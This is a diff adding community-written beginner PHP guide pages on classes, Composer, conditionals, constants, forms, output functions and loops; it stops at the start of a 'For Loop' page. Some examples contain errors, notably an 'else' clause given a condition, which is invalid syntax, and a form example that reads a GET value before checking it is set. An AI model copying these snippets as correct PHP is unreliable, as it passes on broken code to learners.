<add>### Simple Class for Beginner!
<add>
<add>```php
<add>class Lab { // class keyword is mandatory identifier for class creation, after class keyword goes the name of the class(e.g. Lab)
<add> private $name = ''; // $name is instance variable, which means that every instantiated object has it's own copy of variable $name
<add>
<add> public function setName($name) { // function setName is setter function that sets the value of instance variable $name
<add> $this->name = $name; // because $name is the name of both instance variable and function parameter, we use $this keyword
<add> }
<add>
<add> private function getName() { // getName is getter function that returns the value of instance variable $name
<add> return $this->name;
<add> }
<add>
<add> public function sayMyName() {
<add> $name = $this->getName();
<add> return $name;
<add> }
<add>
<add>}
<add>$breakingBad = 'Heisenberg';
<add>$lab = new Lab();
<add>$lab->setName($breakingBad);
<add>echo "My Name is " . $lab->sayMyName(). "!";
<add>```
<add>
<add>
<add>**Note**:
<add>The keywords *private* and *public* define the visibility of the property or the method.
<add>
<add>- Class members declared public can be accessed everywhere.
<add>- Members declared as private may only be accessed by the class that defines the member.
<add>
<add>### More Information
<add>[visibility documentation](http://php.net/manual/en/language.oop5.visibility.php)
<ide><path>mock-guide/english/php/classes-and-objects/index.md
<add>---
<add>title: Classes and Objects
<add>---
<add># Classes and Objects
<add>
<add>Classes are the way that we represent types of objects in the world. Objects would be the actual _instances_ of that class in the world. A class defines _properties_ and _behavior_ of an object of that class. The class defines how the object can interact with the rest of the world. Classes also allow us to abstract away details that we don't want to show other people!
<add>
<add>Say for example you have a dog named Spot. Spot is one instance of a Dog (class) object.
<add>
<add>PHP code to define a class:
<add>
<add>```php
<add>// Dog class
<add>class dog {
<add> // Keep name and age private - we don't want to be able to change these!
<add> private $name;
<add>
<add> private $age;
<add>
<add> // Constructor allows us to make an object of this class with given parameters.
<add> function __construct($name, $age){
<add> $this->name = $name;
<add> $this->age = $age;
<add> echo 'Dog named: '.$this->name.' is '.$this->age.' years old.';
<add> }
<add>
<add> // Destructor gets called when the item is deleted.
<add> function __destruct(){
<add> echo 'Dog '.$this->name.' has ran off into the sunset';
<add> }
<add>
<add> function getname() {
<add> echo $this->name;
<add> }
<add>
<add> function getage() {
<add> echo $this->age;
<add> }
<add>
<add>}
<add>
<add>$mydog = new dog("Spot", "8");
<add>echo $mydog->getname();
<add>echo $mydog->getage();
<add>
<add>```
<add>
<add>The code above would echo:
<add>Dog named: Spot is 8 years old.
<add>Spot
<add>8
<add>Dog Spot has ran off into the sunset
<add>
<add>I created an object $mydog of class dog. Its constructor was called, I used some methods inside of the class, then the destructor was called.
<ide><path>mock-guide/english/php/composer/index.md
<add>---
<add>title: Composer
<add>---
<add>## Composer
<add>
<add>Composer is a package manager for PHP packages. You use a `composer.json` file to configure the packages for a PHP project, similar to the `package.json` file in NodeJS projects.
<add>
<add>### Install Composer
<add>
<add>To install Composer, you first have to download it from <a href='https://getcomposer.org/download/' target='_blank' rel='nofollow'>getcomposer.org</a>.
<add>
<add>You can then install Composer locally or globally.
<add>
<add>### Install Packages
<add>
<add>Install packages with `composer install`. Composer will install the packages listed in the `composer.json` file to the vendor/ folder.
<add>
<add>```shell
<add>composer install
<add>```
<add>To install only a specific package, use `composer require <package_name>`. This will only download and install the latest version available to the selected package.
<add>
<add>If you run this command without a `composer.json` file, composer will automatically create it the before the installation.
<add>
<add>```shell
<add>composer require <package_name>
<add>```
<add>
<add>### Updating Packages
<add>
<add>Update packages with `composer update`, Composer will automatically download and install the latest versions of the packages listed in the `composer.json` file to the vendor/ folder.
<add>
<add>```shell
<add>composer update
<add>```
<add>
<add>To update a single package, use `composer update <package_name>`.
<add>
<add>### Removing Packages
<add>
<add>Removing is easy as installing packages with composer. Just enter `composer remove <package_name>` to uninstall the package from your vendor/ folder. This will automatically update your `composer.json` file.
<add>
<add>```shell
<add>composer remove
<add>```
<add>
<add>### More Information:
<add>* The Composer website: <a href='https://getcomposer.org/' target='_blank' rel='nofollow'>getcomposer.org</a>
<add>* Composer's GitHub repo: <a href='https://github.com/composer/getcomposer.org' target='_blank' rel='nofollow'>composer/getcomposer</a>
<add>* The popular PHP package repository that Composer uses to search for packages: <a href='https://packagist.org/' target='_blank' rel='nofollow'>Packagist</a>
<ide><path>mock-guide/english/php/conditionals/index.md
<add>---
<add>title: Conditionals
<add>---
<add>## Conditionals
<add>Conditionals in PHP are written using the `if`, `elseif`, `else` syntax. Using conditionals allows you to perform different actions depending on different inputs and values provided to a page at run time. In PHP conditionals are often referred to as control structures.
<add>
<add>### If
<add>```PHP
<add><?php
<add>if ($_GET['name'] == "freecodecamp"){
<add> echo "You viewed the freeCodeCamp Page!";
<add>}
<add>```
<add>### Elseif
<add>```PHP
<add><?php
<add>if ($_GET['name'] == "freecodecamp"){
<add> echo "You viewed the freeCodeCamp Page!";
<add>} elseif ($_GET['name'] == "freecodecampguide"){
<add> echo "You viewed the freeCodeCamp Guide Page!";
<add>}
<add>```
<add>### Else
<add>```PHP
<add><?php
<add>if ($_GET['name'] == "freecodecamp"){
<add> echo "You viewed the freeCodeCamp Page!";
<add>} elseif ($_GET['name'] == "freecodecampguide"){
<add> echo "You viewed the freeCodeCamp Guide Page!";
<add>} else {
<add> echo "You viewed a page that does not exist yet!";
<add>}
<add>```
<add>### Note
<add>In cases where you have a lot of possible conditions you may want to use a <a href="/php/switch">Switch Statement</a>.
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/control-structures.elseif.php" rel="nofollow">php.net control structures manual</a>
<ide><path>mock-guide/english/php/constants/index.md
<add>---
<add>title: Constants
<add>---
<add>## Constants
<add>Constants are a type of variable in PHP. The `define()` function to set a constant takes three arguments - the key name, the key's value, and a Boolean (true or false) which determines whether the key's name is case-insensitive (false by default). A constant's value cannot be altered once it is set. It is used for values which rarely change (for example a database password OR api key).
<add>
<add>### Scope
<add>It is important to know that unlike variables, constants ALWAYS have a global scope and can be accessed from any function in the script.
<add>
<add>### Example
<add>```PHP
<add><?php
<add>define("freeCodeCamp", "Learn to code and help nonprofits", false);
<add>echo freeCodeCamp;
<add>```
<add>**Output:**
<add>```text
<add>Learn to code and help nonprofits
<add>```
<add>
<add>Also, when you are creating classes, you can declare your own constants.
<add>
<add>```php
<add>class Human {
<add> const TYPE_MALE = 'm';
<add> const TYPE_FEMALE = 'f';
<add> const TYPE_UNKNOWN = 'u'; // When user didn't select his gender
<add>
<add> .............
<add>}
<add>```
<add>
<add>**Note:** If you want to use those constants inside the `Human` class, you can refer them as `self::CONSTANT_NAME`. If you want to use them outside the class, you need to refer them as `Human::CONSTANT_NAME`.
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/language.constants.php" rel="nofollow">php.net constants manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.define.php" rel="nofollow">php.net define() manual</a>
<add>* <a href="https://github.com/freeCodeCamp/freeCodeCamp/blob/master/guide/english/php/class/index.md" rel="nofollow">Create your first PHP class</a>
<ide><path>mock-guide/english/php/errors/exceptions/index.md
<add>---
<add>title: Error Exceptions
<add>---
<add>## Error Exceptions
<add>
<add>Similar to other programming languages, you generally want to throw Exceptions when some sort of error occurs. Consider the following example of a `withdraw()` function in a theoretical `BankAccount` class where the balance goes below 0:
<add>
<add>```php
<add>function withdraw($amount) {
<add> $newBalance = $this->balance - $amount;
<add> if ($newBalance < 0) {
<add> throw new Exception('Balance would go below zero');
<add> }
<add> return $newBalance;
<add>}
<add>```
<add>
<add>In this case, if the value of ```$this->balance``` was 5 and ```$amount``` was 10, you wouldn't want to authorize the withdrawal. By throwing an Exception, you ensure that the withdrawal doesn't take place if there is not enough money in the account.
<add>
<add>#### More Information
<add>
<add>- [PHP Manual: Exceptions](http://php.net/manual/en/language.exceptions.php)
<ide><path>mock-guide/english/php/errors/index.md
<add>---
<add>title: Errors
<add>---
<add>## Errors
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/filters/index.md
<add>---
<add>title: Filters
<add>---
<add>## Filters
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/filters/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/forms/checking-required-inputs/index.md
<add>---
<add>title: Checking Required Inputs
<add>---
<add>
<add>## Checking Required Inputs
<add>
<add>PHP has a few functions to check if the required inputs have been met. Those functions are ```isset```, ```empty```, and ```is_numeric```.
<add>
<add>### Checking form to make sure its set
<add>The ```isset``` checks to see if the field has been set and isn't null.
<add>Example:
<add>```php
<add>$firstName = $_GET['firstName']
<add>
<add>if(isset($firstName)){
<add> echo "firstName field is set". "<br>";
<add>}
<add>else{
<add> echo "The field is not set."."<br>";
<add>}
<add>```
<ide><path>mock-guide/english/php/forms/handling-form-input/index.md
<add>---
<add>title: Handling Form Input
<add>---
<add>## Handling Form Input
<add>GET VS POST
<add>
<add>One can get form inputs with global variables $_POST and $_GET.
<add>```
<add>$_POST["firstname"] or $_GET['lastname']
<add>```
<add>
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/forms/index.md
<add>---
<add>title: Forms
<add>---
<add>## Forms
<add>
<add>Forms are a way for users to enter data or select data from the webpage. Forms can store data as well as allow the information to be retrieved for later use.
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/forms/validating-form-input/index.md
<add>---
<add>title: Validating Form Input
<add>---
<add>## Validating Form Input
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/validating-form-input/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/functions/cookies/index.md
<add>---
<add>title: Cookies
<add>---
<add>## Cookies
<add>
<add>Definition: A cookie is a small file that the server embeds on the user's computer. Each time the same computer requests a page with a browser, it will send the cookie too. With PHP, you can both create and retrieve cookie values. The name of the cookie is automatically assigned to a variable of the same name.
<add>
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<add>- [PHP setcookie() Function](https://www.w3schools.com/php/func_http_setcookie.asp)
<ide><path>mock-guide/english/php/functions/date/index.md
<add>---
<add>title: Date
<add>---
<add>## Date
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/date/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/functions/die-and-exit/index.md
<add>---
<add>title: Die and Exit
<add>---
<add>## Die and Exit
<add>
<add>The `die()` and `exit()` functions are identical. They each take one argument (a string) containing an error message. Upon being run they output the message and immediately halt execution of the script.
<add>
<add>```PHP
<add><?php
<add>die('Die() function was run');
<add>```
<add>```PHP
<add><?php
<add>exit('Exit() function was run');
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/function.die.php" rel="nofollow">php.net die() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.exit.php" rel="nofollow">php.net exit() manual</a>
<ide><path>mock-guide/english/php/functions/echo-and-print/index.md
<add>---
<add>title: Echo and Print
<add>---
<add>## Echo and Print
<add>The echo and print functions provide a way to write out the value of a variable or argument to the screen.
<add>
<add>### echo
<add>The `echo()` function writes out the value of a variable or argument to the screen.
<add>```PHP
<add><?php
<add>echo "freeCodeCamp";
<add>```
<add>NOTE: A short hand way to open the PHP tag and echo is <?=
<add>```
<add><?= "freeCodeCamp"; ?>
<add>```
<add>
<add>### print
<add>The `print()` function out the value of a variable or argument to the screen.
<add>```PHP
<add><?php
<add>print "freeCodeCamp";
<add>```
<add>
<add>### print_r
<add>The `print_r()` function writes out the value of any variable (such as an array) or argument to the screen, unlike the echo or print functions which are more limited.
<add>```PHP
<add><?php
<add>$freecodecamp = "freeCodeCamp";
<add>print_r($freecodecamp);
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/function.echo.php" rel="nofollow">php.net echo() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.print.php" rel="nofollow">php.net print() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.print-r.php" rel="nofollow">php.net print_r() manual</a>
<ide><path>mock-guide/english/php/functions/files/file-reading/index.md
<add>---
<add>title: File Reading
<add>---
<add>## File Reading
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/reading/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/functions/files/file-uploading/index.md
<add>---
<add>title: File Uploading
<add>---
<add>## File Uploading
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/uploading/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/functions/files/index.md
<add>---
<add>title: Files
<add>---
<add>## Files
<add>
<add>PHP provides several functions for working with files. These functions allow the developer to enable user file uploads, for php to read and use data from a file, and lastly for php to write data to a file.
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/function.readfile.php" rel="nofollow">php.net readfile() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.fopen.php" rel="nofollow">php.net fopen() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.fread.php" rel="nofollow">php.net fread() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.fclose.php" rel="nofollow">php.net fclose() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.fgets.php" rel="nofollow">php.net fgets() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.feof.php" rel="nofollow">php.net feof() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.fgetc.php" rel="nofollow">php.net fgetc() manual</a>
<ide><path>mock-guide/english/php/functions/index.md
<add>---
<add>title: Functions
<add>---
<add>
<add>## PHP Functions Introduction
<add>
<add>A function is a block of statements that can be used repeatedly in a program.
<add>
<add>### Simple Function + Call
<add>
<add>```php
<add>function say_hello() {
<add> return "Hello!";
<add>}
<add>
<add>echo say_hello();
<add>```
<add>
<add>### Simple Function + Parameter + Call
<add>
<add>```php
<add>function say_hello($friend) {
<add> return "Hello " . $friend . "!";
<add>}
<add>
<add>echo say_hello('Tommy');
<add>```
<add>
<add>### strtoupper - Makes all Chars BIGGER AND BIGGER!
<add>
<add>```php
<add>function makeItBIG($a_lot_of_names) {
<add> foreach($a_lot_of_names as $the_simpsons) {
<add> $BIG[] = strtoupper($the_simpsons);
<add> }
<add> return $BIG;
<add>}
<add>
<add>$a_lot_of_names = ['Homer', 'Marge', 'Bart', 'Maggy', 'Lisa'];
<add>var_dump(makeItBIG($a_lot_of_names));
<add>```
<add>## strtolower Function
<add>The strtolower() function converts a string to lowercase.
<add>```
<add><?php
<add> echo strtolower("Hello WORLD."); //hello world.
<add>?>
<add>```
<add>
<add>#### More Information:
<add>
<add>* <a href="https://secure.php.net/manual/en/functions.user-defined.php">php.net user defined functions manual</a>
<ide><path>mock-guide/english/php/functions/time/index.md
<add>---
<add>title: Time
<add>---
<add>## Time
<add>
<add>The `time()` function returns the current unix timestamp (number of seconds since the Unix Epoch - January 1 1970 00:00:00 GMT).
<add>
<add>### Example
<add>```php
<add><?php
<add>echo time();
<add>```
<add>**Output:**
<add>```text
<add>1511732226
<add>```
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/function.time.php">php.net time() manual</a>
<ide><path>mock-guide/english/php/hello-world/index.md
<add>---
<add>title: PHP - Hello World
<add>---
<add>## PHP - Hello World
<add>
<add>PHP scripts are executed on the server.
<add>
<add>Before you continue you should have a basic understanding of the following:
<add>
<add>### HTML
<add>### CSS
<add>### JavaScript
<add>PHP files can contain Text, HTML, CSS, JavaScript, and PHP code.
<add>A PHP script is executed on the server, and the plain HTML result is sent back to the browser.
<add>
<add>A PHP script starts with `<?php` and ends with `?>`:
<add>```php
<add><?php
<add>// PHP code goes here
<add>?>
<add>```
<add>or
<add>you can also write A PHP script starts with `<?php` and ends without `?>`:
<add>```php
<add><?php
<add>// PHP code goes here
<add>```
<add>
<add>
<add>Below, we have an example of a simple PHP file, with a PHP script that uses a built-in PHP function "echo" to output the text "Hello World!" on a web page:
<add>
<add>```php
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>echo "Hello World!";
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>Note: You cannot simply open this file with your browser as you could with an html file. In order for this file to display properly in your browser, you must place it in an accessible folder on a server. A simple example: To do this in apache, you would be replacing the "index.html" file with this file and naming it "index.php" (You should check that php is enabled on your apache server).
<ide><path>mock-guide/english/php/if-else-statement/index.md
<add>---
<add>title: If-else Statement
<add>---
<add>## Introduction
<add>If/Else is a conditional statement where depending on the truthiness of a condition, different actions will be performed.
<add>
<add>> **Note:** The `{}` brackets are only needed if the condition has more than one action statement; however, it is best practice to include them regardless.
<add>
<add>## If Statement
<add>
<add>```
<add><?php
<add>
<add> if (condition) {
<add> statement1;
<add> statement2;
<add> }
<add>```
<add>> **Note:** You can nest as many statements in an "if" block as you'd like; you are not limited to the amount in the examples.
<add>## If/Else Statement
<add>
<add>```
<add><?php
<add>
<add> if (condition) {
<add> statement1;
<add> statement2;
<add> } else {
<add> statement3;
<add> statement4;
<add> }
<add>```
<add>> **Note:** The `else` statement is optional.
<add>## If/Elseif/Else Statement
<add>
<add>```
<add><?php
<add>
<add> if (condition1) {
<add> statement1;
<add> statement2;
<add> } elseif (condition2) {
<add> statement3;
<add> statement4;
<add> } else {
<add> statement5;
<add> }
<add>```
<add>> **Note:** `elseif` should always be written as one word.
<add>## Nested If/Else Statement
<add>
<add>```
<add><?php
<add>
<add> if (condition1) {
<add> if (condition2) {
<add> statement1;
<add> statement2;
<add> } else {
<add> statement3;
<add> statement4;
<add> }
<add> } else {
<add> if (condition3) {
<add> statement5;
<add> statement6;
<add> } else {
<add> statement7;
<add> statement8;
<add> }
<add> }
<add>```
<add>
<add>## Multiple Conditions
<add>
<add>Multiple conditions can be used at once with the "or" (||), "xor", and "and" (&&) logical operators.
<add>
<add>For instance:
<add>
<add>```
<add><?php
<add>
<add> if (condition1 && condition2) {
<add> echo 'Both conditions are true!';
<add> } elseif (condition 1 || condition2) {
<add> echo 'One condition is true!';
<add> } else (condition1 xor condition2) {
<add> echo 'One condition is true, and one condition is false!';
<add> }
<add>```
<add>> **Note:** It's a good practice to wrap individual conditions in parens when you have more than one (it can improve readability).
<add>
<add>## Ternary Operators
<add>
<add>Another important option to consider when using short If/Else statements is the ternary operator.
<add>
<add>```php
<add> $statement=(condition1 ? "condition1 is true" : "condition1 is false");
<add>```
<add>
<add>## Alternative If/Else Syntax
<add>
<add>There is also an alternative syntax for control structures
<add>
<add>```php
<add> if (condition1):
<add> statement1;
<add> else:
<add> statement5;
<add> endif;
<add>```
<add>
<add>#### More Information:
<add>* <a href='http://php.net/manual/en/control-structures.alternative-syntax.php' target='_blank' rel='nofollow'>PHP Alternative syntax for control structures</a>
<add>* <a href="http://php.net/manual/en/control-structures.if.php" rel="nofollow">php.net control structures If Manual</a>
<add>* <a href="https://secure.php.net/manual/en/control-structures.elseif.php" rel="nofollow">php.net control structures Else If Manual</a>
<ide>\ No newline at end of file
<ide><path>mock-guide/english/php/index.md
<add>---
<add>title: PHP
<add>---
<add>
<add>
<add>
<add>## What is PHP?
<add>
<add>PHP is a server-side scripting language created in 1995 by Rasmus Lerdorf.
<add>
<add>PHP is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.
<add>
<add>## What does the acronym PHP stand for?
<add>
<add>Originally PHP stood for 'Personal Home Page', as Rasmus Lerdorf created it for use on his own website. Then in 1997 more developers expanded the language and the
<add>acronym also changed to what it stands for today: 'PHP: Hypertext Preprocessor'. As the first 'P' in PHP also stands for 'PHP', it is known as a 'recursive acronym'.
<add>
<add>## What is PHP used for?
<add>
<add>As of October 2018, PHP is used on [80% of websites whose server-side language is known](https://w3techs.com/technologies/overview/programming_language/all).
<add>It is typically used on websites to generate web page content dynamically. Use-cases include:
<add>
<add>* Websites and web applications (server-side scripting)
<add>* Command line scripting
<add>* Desktop (GUI) applications
<add>
<add>Typically, it is used in the first form to generate web page content dynamically. For example, if you have a blog website, you might write some PHP scripts to retrieve
<add>your blog posts from a database and display them. Other uses for PHP scripts include:
<add>
<add>* Processing and saving user input from form data
<add>* Setting and working with website cookies
<add>* Restricting access to certain pages of your website
<add>
<add>> The largest Social Networking Platform, [Facebook](https://www.facebook.com/) is written using PHP
<add>
<add>
<add>## How does PHP work?
<add>
<add>All PHP code is executed on a web server only, not on your local computer. For example, if you complete a form on a website and submit it, or click a link to a web page written in PHP, no actual PHP code runs on your computer. Instead, the form data or request for the web page gets sent to a web server to be processed by the PHP scripts. The web server then sends the processed HTML back to you (which is where 'Hypertext Preprocessor' in the name comes from), and your web browser displays the results. For this reason, you cannot see the PHP code of a website, only the resulting HTML that the PHP scripts have produced.
<add>
<add>This is illustrated below:
<add>
<add>
<add>
<add>PHP is an interpreted language. This means that when you make changes to your source code you can immediately test these changes, without first needing to compile your source code into binary form. Skipping the compilation step makes the development process much faster.
<add>
<add>PHP code is enclosed between the ```<?php``` and ``` ?> ``` tags and can then be embedded into HTML.
<add>
<add>## Installation
<add>
<add>PHP can be installed with or without a web server.
<add>
<add>### GNU/Linux
<add>
<add>On Debian based GNU/Linux distros, you can install by :
<add>```bash
<add>sudo apt install php
<add>```
<add>
<add>On Centos 6 or 7 you can install by :
<add>```bash
<add>sudo yum install php
<add>```
<add>
<add>After installing you can run any PHP files by simply doing this in terminal :
<add>```
<add>php file.php
<add>```
<add>
<add>You can also install a localhost server to run PHP websites. For installing Apache Web Server :
<add>```
<add>sudo apt install apache2 libapache2-mod-php
<add>```
<add>
<add>Or you can also install PHP, MySQL & Web-server all by installing
<add>
<add><a href="https://www.apachefriends.org/download.html" target="_blank">XAMPP</a> (free and open-source cross-platform web server solution stack package)
<add>or similar packages like <a href="http://www.wampserver.com/en/" target="_blank">WAMP</a>
<add>
<add>
<add>## What Can PHP Do?
<add>
<add>* PHP can generate dynamic page content
<add>* PHP can create, open, read, write, delete, and close files on the server
<add>* PHP can collect form data
<add>* PHP can send and receive cookies
<add>* PHP can add, delete, modify data in your database
<add>* PHP can be used to control user-access
<add>* PHP can encrypt data
<add>* PHP can send emails
<add>
<add>## Why PHP?
<add>
<add>* PHP runs on various platforms (Windows, Linux, Unix, Mac OS X, etc.)
<add>* PHP is compatible with almost all servers used today (Apache, IIS, etc.)
<add>* PHP supports a wide range of databases
<add>* PHP is free. Download it from the official PHP resource: [secure.php.net](https://secure.php.net/)
<add>* PHP is easy to learn and runs efficiently on the server side
<add>
<add>## PHP Frameworks
<add>
<add>Since writing the whole code for a website is not really practical/feasible for most projects, most developers tend to use frameworks for the web development. The advantage of using a framework is that
<add>
<add> * You don't have to reinvent the wheel everytime you create a project, a lot of the nuances are already taken care for you
<add> * They are usually well-structured so that it helps in the separation of concerns
<add> * Most frameworks tend the follow the best practices of the language
<add> * A lot of them follow the MVC (Model-View-Controller) pattern so that it separates the presentation layer from logic
<add>
<add>## Popular frameworks
<add>
<add> * [CodeIgniter](https://codeigniter.com/)
<add> * [Laravel](https://laravel.com/)
<add> * [Symfony](https://symfony.com/)
<add> * [Zend](http://www.zend.com/)
<add> * [CakePHP](https://cakephp.org/)
<add> * [FuelPHP](https://fuelphp.com/)
<add> * [Slim](https://www.slimframework.com/)
<add> * [Yii 2](https://www.yiiframework.com/)
<add>
<add>## Documentation
<add>
<add>PHP is [well documented](http://php.net/docs.php). The [official docs](http://php.net/manual/en/) include examples on almost every function reference guide, as well as user comments.
<add>
<add>## Other Resources
<add>
<add>- [Tizag.com PHP Tutorial](http://www.tizag.com/phpT/): still-relevant tutorials for getting started with PHP
<add>- [Awesome PHP](https://github.com/ziadoz/awesome-php): a curated list of PHP libraries, resources, and "shiny things"
<add>- [Laracasts.com](https://laracasts.com/): a membership website to learn web application development with PHP, comes with a free getting starting guide.
<add>- [PHP: The Right Way](https://phptherightway.com/): An all-around quick reference book.
<ide><path>mock-guide/english/php/loop/index.md
<add>---
<add>title: Loops
<add>---
<add>
<add># PHP Loops
<add>When you need to repeat a task multiple times, you can use a loop instead of adding the same code over and over again.
<add>PHP has the following loop statements :
<add>
<add>- for - loop through a block of code with specific number of times.
<add>- while - loop through a block of code if condition is true.
<add>- do...while - loop through a block of code one and continue loop if condition is true.
<add>- foreach - loop through a block of code for each value within an array.
<add>
<add>Using a `break` within the loop can stop the loop execution.
<add>
<add># For loop
<add>Loop through a block of code with specific number of times.
<add>
<add>## Syntax
<add>```php
<add>
<add>for (init counter; condition; counter increment or decrement)
<add>{
<add> // Code to be executed
<add>}
<add>
<add>```
<add>
<add>## Example
<add>```php
<add>
<add><?php
<add>for($index = 0; $index < 5; $index ++)
<add>{
<add> echo "Current loop counter ".$index.".\n";
<add>}
<add>?>
<add>
<add>```
<add>
<add>## Output
<add>```
<add>> Current loop counter 0.
<add>> Current loop counter 1.
<add>> Current loop counter 2.
<add>> Current loop counter 3.
<add>> Current loop counter 4.
<add>```
<add>
<add># While loop
<add>Loop through a block of code if condition is true.
<add>
<add>## Syntax
<add>```php
<add>
<add>while (condition)
<add>{
<add> // Code to be executed
<add>}
<add>
<add>```
<add>
<add>## Example
<add>```php
<add>
<add><?php
<add>$index = 10;
<add>while ($index >= 0)
<add>{
<add> echo "The index is ".$index.".\n";
<add> $index--;
<add>}
<add>?>
<add>
<add>```
<add>
<add>## Output
<add>```
<add>> The index is 10.
<add>> The index is 9.
<add>> The index is 8.
<add>> The index is 7.
<add>> The index is 6.
<add>> The index is 5.
<add>> The index is 4.
<add>> The index is 3.
<add>> The index is 2.
<add>> The index is 1.
<add>> The index is 0.
<add>```
<add>
<add># Do...While loop
<add>Loop through a block of code once and continue to loop if the condition is true.
<add>
<add>## Syntax
<add>```php
<add>
<add>do
<add>{
<add> // Code to be executed
<add>}
<add>while (condition);
<add>
<add>```
<add>
<add>## Example
<add>```php
<add>
<add><?php
<add>$index = 3;
<add>do
<add>{
<add> // execute this at least 1 time
<add> echo "Index: ".$index.".\n";
<add> $index --;
<add>}
<add>while ($index > 0);
<add>?>
<add>
<add>```
<add>
<add>## Output
<add>```
<add>> Index: 3.
<add>> Index: 2.
<add>> Index: 1.
<add>```
<add>
<add># Foreach loop
<add>Loop through a block of code for each value within an array.
<add>
<add>## Syntax
<add>```php
<add>foreach ($array as $value)
<add>{
<add> // Code to be executed
<add>}
<add>
<add>```
<add>
<add>## Example
<add>```php
<add>
<add><?php
<add>$array = ["Ali", "Ah Kao", "Muthu", "Gwen", "Lucida", "Cecily", "Arthur", "Flora"];
<add>foreach ($array as $name)
<add>{
<add> echo "Hi, my name is ".$name.".\n";
<add>
<add> if ($name == "Cecily")
<add> {
<add> echo "\"Hello, ".$name."!\"";
<add>
<add> // stop the loop if name is Cecily
<add> break;
<add> }
<add>}
<add>?>
<add>
<add>```
<add>
<add>## Output
<add>```
<add>> Hi, my name is Ali.
<add>> Hi, my name is Ah Kao.
<add>> Hi, my name is Muthu.
<add>> Hi, my name is Gwen.
<add>> Hi, my name is Lucida.
<add>> Hi, my name is Cecily.
<add>> "Hello, Cecily!"
<add>```
<add>
<add>## For More Information:
<add>http://php.net/manual/en/control-structures.for.php
<ide><path>mock-guide/english/php/loops/for-loop/index.md
<add>---
<add>title: For Loop
<add>---
<add>
